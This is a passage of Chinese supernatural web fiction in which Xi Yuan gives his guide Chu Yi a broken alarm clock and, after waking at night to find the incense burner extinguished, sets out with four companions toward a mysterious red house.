褚翊先是笑了笑,而后脱下大衣躺在了奚元旁边,他看起来似乎很疲惫,唇色都有些发白,但还是打起精神安慰了奚元一句:“修不好就别修了,反正这里也不怎么用得到闹钟。” 也不知道是不是因为褚翊这句话,奚元当即就泄了气,把闹钟零部件又给重新组装了回去。 然后,他把闹钟递给了褚翊:“那我把它送给你做个摆件吧。” 褚翊本来都快要闭上眼睛睡下了,听到奚元的话又重新睁开眼睛醒了神。 “你把它……给我?”他看起来颇有些惊讶,手甚至都没敢接过那闹钟。 奚元很认真的点点头:“本来就是想要修好送给你的,可惜还是有些坏,不过它外观看着还挺精巧的,你看它方方正正的,上面还有个笑脸,多可爱。” 说着说着,奚元声音越来越没有底气,他挠了挠头,有些不好意思的说:“主要我也没其他好点儿的东西了,就这个稍微能拿得出手。” 褚翊眼波微动:“你……突然送东西给我干什么?” “当然是谢谢你做我的指引员啊。”奚元说,“要没有你,下了列车那么黑的地儿我估计就不行了,你对我算是有救命之恩,而且我今天听张跳跳说你还是第一次做指引员,我也是第一次进来,咱俩都是第一次,值得纪念一下。” 说着,他又把闹钟往前推了推。 褚翊沉默了一会儿,这才伸手接过闹钟。 他眼尾微垂,看着闹钟:“纪念……挺好。” 奚元送完东西就准备睡下,临睡前又想到什么,转头对褚翊说:“哦对了,我用它定了个明天下午三点的闹钟,到时候看它能不能响。” 褚翊定睛一看那拨片,果真拨到了15:00,他疑道:“定下午三点干什么?” 奚元:“起床铃啊。昨天起太早了,今天多睡会儿,等出了这上香地都不知道还有没有觉睡呢。” 褚翊:“……可真能睡。” 他没再说什么,把闹钟放在了床头,想了想又拿回来,揣进里衣兜里睡下了。 房间里霎时安静,午夜漫漫,上香地进入酣睡。 只不过奚元高估了自己,他并没有睡到下午三点,半夜十一点多的时候他就被尿给憋醒了,外面的天气并不算暖和,他迷迷糊糊地挣扎着起来,想赶紧速战速决回来再睡个回笼觉。 没想到等他下床的时候他发现自己却是动不了,扭头一看,原来是褚翊抓住了他的衣服。 褚翊的手抓的很紧,眉头也紧锁着,他似乎做了个什么可怕的噩梦,就像在列车里那样。 “褚翊,褚翊。”奚元本想叫醒褚翊让他松手,但褚翊睡得很死,任他怎么叫都叫不动。 没办法,他只能上手去掰,但褚翊的力道实在是太大,他掰了半天才掰动一个小拇指。 “唉算了。”奚元轻吐出气,放弃了,他干脆拖了外穿的衣服,出去了。 上香地的夜晚比他想象中的还要冷,他哆嗦着快速上完厕所,跑回了客厅。 “这鬼地方跟外面哪哪儿都不一样,冷飕飕的天气倒是一脉相承。”奚元吐槽着,随意的瞟了眼空荡荡的客厅后,握住了房间的门把手,一门心思的只想着快速上床睡觉去。 “大半夜的,客厅可真黑啊。”他嘴里嘟囔着,把门把手摁了下去。 可就在这时,奚元的手忽然顿住,表情微变,神色整个沉了下去。 客厅。 很……黑? 等等…… 不对! 倏地,奚元朝身后看去。 大堂里空空荡荡,几张红木桌椅依旧像刚来时那样摆放在正中央。 可那桌子上原本还燃着火星飘着白烟的香炉,此刻却暗沉无光。 香炉里的香……灭了! 褚翊说,当香炉灭了,或者是当听到第一声怪异的声音的时候,问题就出现了。 那现在—— 忽的,轰鸣的鞭炮声从不知名的地方响起,噼里啪啦,炸醒了沉睡的上香地。 冷意由脚底爬上心头,奚元只觉得浑身一颤,全身汗毛竖了起来。 他知道,那列车广播里所说的“新年村特色风俗”,来了。 门从里面被拉开,把奚元拉的一个趔趄。 褚翊从房间里走出来,手上还拿了奚元的外衣,只见他把衣服递给奚元,说:“穿上吧,我们要上路了。” 张跳跳周格也从房间里走了出来,最后是宇私。 五人神色凝重,一语不发。 还是褚翊上前一步,走到门口,说:“走吧。” 众人这才上前,跟上了褚翊。 五人踏出房间的一瞬间,外面的景象皆已不同,脚下出现了一条黄土路,除此之外漆黑一片。 鞭炮声停了,五人踏上了黄土路,身后的上香地渐渐消失,眼前出现了一栋红房子。